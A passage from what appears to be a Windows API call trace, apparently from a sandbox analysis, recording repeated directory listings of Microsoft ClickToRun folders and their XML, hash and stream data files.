ftLastAccessTime.dwLowDateTime=0xe25ce006, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xe25ce006, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47e8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 1 [0209.214] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.214] FindClose (in: hFindFile=0x1d46a120 | out: hFindFile=0x1d46a120) returned 1 [0209.215] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dc4d0) returned 1 [0209.215] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dc490) returned 1 [0209.215] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dbde0) returned 1 [0209.215] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\4BAD322A-C043-4DED-A97A-6FE0C4412FBE", nBufferLength=0x105, lpBuffer=0x1f2db8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\4BAD322A-C043-4DED-A97A-6FE0C4412FBE", lpFilePart=0x0) returned 0x4c [0209.215] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\4BAD322A-C043-4DED-A97A-6FE0C4412FBE\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\4bad322a-c043-4ded-a97a-6fe0c4412fbe\\*"), lpFindFileData=0x1f2dbaf0 | out: lpFindFileData=0x1f2dbaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b54cf26, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b641eb6, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b641eb6, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469520 [0209.440] FindNextFileW (in: hFindFile=0x1d469520, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b54cf26, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b641eb6, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b641eb6, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.441] FindNextFileW (in: hFindFile=0x1d469520, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b54cf26, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b5f5640, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b5f5640, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1 [0209.441] FindNextFileW (in: hFindFile=0x1d469520, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b5f5640, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b641eb6, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b641eb6, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0209.442] FindNextFileW (in: hFindFile=0x1d469520, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b5f5640, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b641eb6, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b641eb6, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0209.442] FindClose (in: hFindFile=0x1d469520 | out: hFindFile=0x1d469520) returned 1 [0209.445] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dbd10) returned 1 [0209.445] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dbcd0) returned 1 [0209.445] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dbde0) returned 1 [0209.445] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\4BAD322A-C043-4DED-A97A-6FE0C4412FBE", nBufferLength=0x105, lpBuffer=0x1f2db8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\4BAD322A-C043-4DED-A97A-6FE0C4412FBE", lpFilePart=0x0) returned 0x4c [0209.445] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\4BAD322A-C043-4DED-A97A-6FE0C4412FBE\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\4bad322a-c043-4ded-a97a-6fe0c4412fbe\\*"), lpFindFileData=0x1f2dbaf0 | out: lpFindFileData=0x1f2dbaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b54cf26, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b641eb6, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b641eb6, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0209.448] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b54cf26, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b641eb6, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b641eb6, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.448] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b54cf26, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b5f5640, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b5f5640, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1 [0209.448] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b5f5640, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b641eb6, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b641eb6, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0209.449] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.449] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0209.451] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dbd10) returned 1 [0209.451] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dbcd0) returned 1 [0209.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2db620) returned 1 [0209.451] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\4BAD322A-C043-4DED-A97A-6FE0C4412FBE\\en-us.16", nBufferLength=0x105, lpBuffer=0x1f2db100, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\4BAD322A-C043-4DED-A97A-6FE0C4412FBE\\en-us.16", lpFilePart=0x0) returned 0x55 [0209.451] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\4BAD322A-C043-4DED-A97A-6FE0C4412FBE\\en-us.16\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\4bad322a-c043-4ded-a97a-6fe0c4412fbe\\en-us.16\\*"), lpFindFileData=0x1f2db330 | out: lpFindFileData=0x1f2db330*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b54cf26, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b5f5640, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b5f5640, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0209.458] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b54cf26, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b5f5640, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b5f5640, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.459] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b5f0737, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b5f0737, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x22d02900, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x5765, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.en-us.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0209.459] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b5f1a63, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b5f1a63, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x341a3500, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s321033.hash", cAlternateFileName="S32103~1.HAS")) returned 1 [0209.459] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b5f2f99, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b5f2f99, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x21ebc700, ftLastWriteTime.dwHighDateTime=0x1d0d7ef, nFileSizeHigh=0x0, nFileSizeLow=0xd81d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0209.459] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.460] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0209.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2db550) returned 1 [0209.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2db510) returned 1 [0209.461] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2db620) returned 1 [0209.461] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\4BAD322A-C043-4DED-A97A-6FE0C4412FBE\\en-us.16", nBufferLength=0x105, lpBuffer=0x1f2db100, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\4BAD322A-C043-4DED-A97A-6FE0C4412FBE\\en-us.16", lpFilePart=0x0) returned 0x55 [0209.461] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\4BAD322A-C043-4DED-A97A-6FE0C4412FBE\\en-us.16\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\4bad322a-c043-4ded-a97a-6fe0c4412fbe\\en-us.16\\*"), lpFindFileData=0x1f2db330 | out: lpFindFileData=0x1f2db330*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b54cf26, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b5f5640, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b5f5640, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0209.463] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b54cf26, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b5f5640, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b5f5640, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.463] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b5f0737, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b5f0737, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x22d02900, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x5765, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.en-us.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0209.463] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b5f1a63, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b5f1a63, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x341a3500, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s321033.hash", cAlternateFileName="S32103~1.HAS")) returned 1 [0209.464] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b5f2f99, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b5f2f99, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x21ebc700, ftLastWriteTime.dwHighDateTime=0x1d0d7ef, nFileSizeHigh=0x0, nFileSizeLow=0xd81d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0209.464] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b5f2f99, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b5f2f99, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x21ebc700, ftLastWriteTime.dwHighDateTime=0x1d0d7ef, nFileSizeHigh=0x0, nFileSizeLow=0xd81d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0209.464] FindClose (in: hFindFile=0x1d4697c0 | out: hFindFile=0x1d4697c0) returned 1 [0209.465] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2db550) returned 1 [0209.465] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2db510) returned 1 [0209.465] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2db620) returned 1 [0209.465] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\4BAD322A-C043-4DED-A97A-6FE0C4412FBE\\x-none.16", nBufferLength=0x105, lpBuffer=0x1f2db100, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\4BAD322A-C043-4DED-A97A-6FE0C4412FBE\\x-none.16", lpFilePart=0x0) returned 0x56 [0209.465] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\4BAD322A-C043-4DED-A97A-6FE0C4412FBE\\x-none.16\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\4bad322a-c043-4ded-a97a-6fe0c4412fbe\\x-none.16\\*"), lpFindFileData=0x1f2db330 | out: lpFindFileData=0x1f2db330*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b5f5640, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b641eb6, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b641eb6, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a120 [0209.468] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b5f5640, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b641eb6, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b641eb6, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.468] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b61bc49, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b61bc49, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x206dcf00, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x5220, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.x-none.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0209.469] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b61bc49, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b61bc49, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x341a3500, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s320.hash", cAlternateFileName="S320~1.HAS")) returned 1 [0209.469] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b61bc49, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b61bc49, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x32e90800, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38b5ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0209.469] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.469] FindClose (in: hFindFile=0x1d46a120 | out: hFindFile=0x1d46a120) returned 1 [0209.630] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2db550) returned 1 [0209.630] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2db510) returned 1 [0209.630] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2db620) returned 1 [0209.630] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\4BAD322A-C043-4DED-A97A-6FE0C4412FBE\\x-none.16", nBufferLength=0x105, lpBuffer=0x1f2db100, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\4BAD322A-C043-4DED-A97A-6FE0C4412FBE\\x-none.16", lpFilePart=0x0) returned 0x56 [0209.630] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\4BAD322A-C043-4DED-A97A-6FE0C4412FBE\\x-none.16\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\4bad322a-c043-4ded-a97a-6fe0c4412fbe\\x-none.16\\*"), lpFindFileData=0x1f2db330 | out: lpFindFileData=0x1f2db330*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b5f5640, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b641eb6, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b641eb6, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a120 [0209.632] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b5f5640, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b641eb6, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b641eb6, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.632] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b61bc49, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b61bc49, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x206dcf00, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x5220, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.x-none.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0209.633] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b61bc49, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b61bc49, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x341a3500, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s320.hash", cAlternateFileName="S320~1.HAS")) returned 1 [0209.633] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b61bc49, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b61bc49, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x32e90800, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38b5ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0209.633] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b61bc49, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b61bc49, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x32e90800, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38b5ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0209.633] FindClose (in: hFindFile=0x1d46a120 | out: hFindFile=0x1d46a120) returned 1 [0209.634] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2db550) returned 1 [0209.634] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2db510) returned 1 [0209.634] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dbde0) returned 1 [0209.634] GetFullPathNameW (in: lpFileName="C:\\Users\\All 